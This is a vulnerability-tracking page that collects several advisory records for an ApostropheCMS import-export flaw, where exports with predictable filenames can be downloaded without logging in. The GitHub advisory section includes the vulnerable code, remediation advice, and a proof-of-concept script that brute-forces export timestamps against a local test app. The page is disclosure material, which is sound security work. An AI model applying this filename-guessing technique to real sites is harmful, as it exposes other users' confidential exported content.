ApostropheCMS: Exposure of Sensitive Information via predictable export filenames

CISA KEV is observed exploitation evidence. FIRST EPSS is a dated prediction of exploitation in the next 30 days. Missing scores are unknown. This collector requests predictions only for explicit CVE aliases in the public NuGet archive; Microsoft release views retain their existing prediction scope.

No collected risk observation for these identifiers. This does not establish absence of exploitation or a zero probability.

ApostropheCMS is an open-source Node.js content management system. Prior to 3.7.1 of the import-export module, predictable export archive filenames allow an unauthenticated requester to download another user's export from publicly readable export storage before the archive expires or is removed. A user with export permission must first create the archive, and sites with exports disabled, private upload storage, or authenticated upload delivery are not exposed through this network-download path. This issue is fixed in version 3.7.1.

Source published

20 Oct 2026 15:47:25 UTC

Source modified

20 Oct 2026 16:22:21 UTC

Observed here

23 Oct 2026 15:48:27 UTC

Source terms

CVE Program Terms of Use

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: cve-program · CVE Program Terms of Use. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 4.0 · 6.0 CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N

ApostropheCMS is an open-source Node.js content management system. Prior to 3.7.1 of the import-export module, predictable export archive filenames allow an unauthenticated requester to download another user's export from publicly readable export storage before the archive expires or is removed. A user with export permission must first create the archive, and sites with exports disabled, private upload storage, or authenticated upload delivery are not exposed through this network-download path. This issue is fixed in version 3.7.1.

Source published

Oct 20, 2026, 3:47:25 PM (timezone not stated)

Source modified

Oct 20, 2026, 4:22:21 PM (timezone not stated)

Observed here

7 Nov 2026 04:33:48 UTC

Source terms

ENISA EUVD · source terms and attribution apply

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This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: euvd · ENISA EUVD · source terms and attribution apply. Source text is retained; field grouping and change labels are provided by ChangeIntel.

EUVD CVSS 4.0 · 6.0 CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N

ApostropheCMS is an open-source Node.js content management system. Prior to 3.7.1 of the import-export module, predictable export archive filenames allow an unauthenticated requester to download another user's export from publicly readable export storage before the archive expires or is removed. A user with export permission must first create the archive, and sites with exports disabled, private upload storage, or authenticated upload delivery are not exposed through this network-download path. This issue is fixed in version 3.7.1.

Source published

20 Oct 2026 16:17:06 UTC

Source modified

20 Oct 2026 19:53:10 UTC

Observed here

25 Oct 2026 05:17:13 UTC

Source terms

NIST NVD usage terms; underlying source attribution retained

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This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: nvd · NIST NVD usage terms; underlying source attribution retained. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 4.0 · [email protected] · Secondary · 6.0 CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

## Summary When a user exports content through `@apostrophecms/import-export`, the module copies the generated archive into uploadfs at `/exports/` and returns a public URL under `/uploads/exports/`. The filename is fully deterministic: site `shortName`, document type, a `YYYYMMDDHHmmss` timestamp, and the format extension. There is no secret token. Anyone who can guess that path can download the archive with a normal unauthenticated HTTP GET while the file is still present (10 minutes by default, longer if the site raises `importExport.export.expiration`). That is a different model from attachment URLs, which rely on hard-to-guess IDs. Sites that disable export, store uploads on a private backend with no anonymous read, or serve `/uploads` only behind authentication are not hit by the network download step—but the predictable naming is still a design flaw for the default local/public uploadfs layout. Import-only workflows and imports themselves are out of scope; this is specific to the export download URL. ## Affected configurations All of the following must apply: 1. The `@apostrophecms/import-export` module is enabled and export is allowed for at least one page or piece type, **and** 2. Export files are served the usual way: `copyIn` to `/exports/…` and delivery via the public `uploads` URL (default local uploadfs or any deployment that exposes the same path without per-file auth). If export is turned off per type or globally, or `/uploads` is not world-readable, an anonymous attacker cannot pull the file over HTTP—but a co-resident attacker with filesystem or bucket listing access would still see guessable names. ## Remediation - Put a high-entropy component in the export filename (e.g. `apos.util.generateId()`), **or** - Stop publishing exports on a world-readable URL—serve downloads through an authenticated route and keep objects in a private prefix until then, **or** - Document that `importExport.export.expiration` must stay short and treat `/uploads/exports/` as sensitive (weak on its own). ### Details ## Technical details `exportFile()` in `packages/import-export/lib/methods/export.js` builds the name and publishes it: ```javascript const date = dayjs().format('YYYYMMDDHHmmss'); const filename = `${self.apos.shortName}-${req.body.type.toLowerCase()}-export-${date}${format.extension}`; const downloadPath = path.join('/exports', filename); await copyIn(filepath, downloadPath); ``` The admin UI sends `type` as the module name (e.g. `article`), which matches the filename. The download URL is only shown in the exporter’s notification; nothing binds the HTTP request to that user afterward. After `expiration` (default `1000 * 60 * 10` ms) a timer deletes the object from uploadfs, which limits exposure but leaves a brute-forceable window. ## Proof of concept The script boots a minimal Apostrophe app with import-export, performs an export as the task user, then downloads the same archive without a session—first by path guessing, then with raw `fetch`. It exits non-zero on failure. **Requirements:** Node 18+, `pnpm install` at the monorepo root (so `apostrophe` and `@apostrophecms/import-export` resolve). Set `APOSTROPHE_ROOT` to the checkout path. ```bash #!/usr/bin/env bash set -euo pipefail # --- config --- APOSTROPHE_ROOT="${APOSTROPHE_ROOT:-}" if [[ -z "${APOSTROPHE_ROOT}" || ! -f "${APOSTROPHE_ROOT}/packages/import-export/package.json" ]]; then echo "Set APOSTROPHE_ROOT to your apostrophe monorepo checkout." >&2 exit 1 fi export APOS_TEST_DB_PROTOCOL=sqlite cd "${APOSTROPHE_ROOT}/packages/import-export" # --- run embedded PoC (no extra repo files) --- node <<'NODE' const assert = require('node:assert/strict'); const path = require('node:path'); const dayjs = require('dayjs'); const t = require('apostrophe/test-lib/util.js'); (async () => { let apos; const shortName = 'poc-export-site'; const exportsPath = (root) => path.join(root, 'public/uploads/exports'); try { apos = await t.create({ root: module, testModule: true, shortName, modules: { '@apostrophecms/express': { options: { session: { secret: 'poc-export-secret' } } }, '@apostrophecms/import-export': { options: { importExport: { export: { expiration: 60 * 1000 } } } }, '@apostrophecms/uploadfs': { options: { storage: 'local' } }, 'home-page': { extend: '@apostrophecms/page-type' }, article: { extend: '@apostrophecms/piece-type', options: { alias: 'article', autopublish: true } } } }); const importExport = apos.modules['@apostrophecms/import-export']; const req = apos.task.getReq(); await apos.article.insert(req, { ...apos.article.newInstance(), title: 'GHSA PoC confidential piece' }); const articles = await apos.article.find(req).toArray(); assert.ok(articles.length > 0); const exportStartedAt = dayjs(); req.body = { _ids: articles.map((d) => d._id), formatName: 'gzip', type: 'article' }; const { url: downloadUrl } = await importExport.export(req, apos.article); const fileName = path.basename(downloadUrl); const prefix = `${shortName}-article-export-`; assert.ok(fileName.startsWith(prefix) && fileName.endsWith('.tar.gz')); const timestamp = fileName.slice(prefix.length, -'.tar.gz'.length); const onDisk = path.join(exportsPath(apos.rootDir), fileName); assert.ok(require('node:fs').existsSync(onDisk)); const anon = await apos.http.get(downloadUrl, { fullResponse: true }); assert.equal(anon.status, 200); assert.ok(Number(anon.headers['content-length'] || 0) > 0 || anon.body?.length > 0); let bruteForced = null; const center = exportStartedAt.startOf('second'); for (let offset = -3; offset <= 3; offset++) { const ts = center.add(offset, 'second').format('YYYYMMDDHHmmss'); const candidate = `/uploads/exports/${shortName}-article-export-${ts}.tar.gz`; try { const probe = await apos.http.get(candidate, { fullResponse: true }); if (probe.status === 200) { bruteForced = candidate; break; } } catch (e) { if (e.status !== 404) throw e; } } assert.ok(bruteForced, 'brute force within ±3s failed'); const express = apos.modules['@apostrophecms/express']; const base = `http://${express.address}:${express.port}`; const ext = await fetch(`${base}${bruteForced}`); assert.equal(ext.status, 200); const bytes = await ext.arrayBuffer(); assert.ok(bytes.byteLength > 100); console.log('OK: unauthenticated download', { fileName, bruteForced, bytes: bytes.byteLength, listenUrl: base }); } finally { if (apos) { await t.destroy(apos); } } })().catch((err) => { console.error(err); process.exit(1); }); NODE ``` **Expected output:** a line similar to `OK: unauthenticated download { fileName: 'poc-export-site-article-export-….tar.gz', …, bytes: <number>, listenUrl: 'http://127.0.0.1:…' }` ## Impact - **Confidentiality:** An unauthenticated remote party can obtain a full export tarball (documents, metadata, attachment references, and bundled files for gzip export) that was meant for the editor who ran export. Content matches what that user was allowed to export, but the downloader does not need their session. - **Not in scope:** The attacker cannot trigger export on their own (that still requires a logged-in user with export rights). Integrity and availability of the site are unchanged.

Source published

21 Oct 2026 19:45:03 UTC

Source modified

21 Oct 2026 20:01:39 UTC

Observed here

24 Oct 2026 13:17:17 UTC

Source terms

GitHub Advisory Database · CC-BY-4.0

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · GitHub Advisory Database · CC-BY-4.0. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS_V4 · CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N

Publisher rating · MODERATE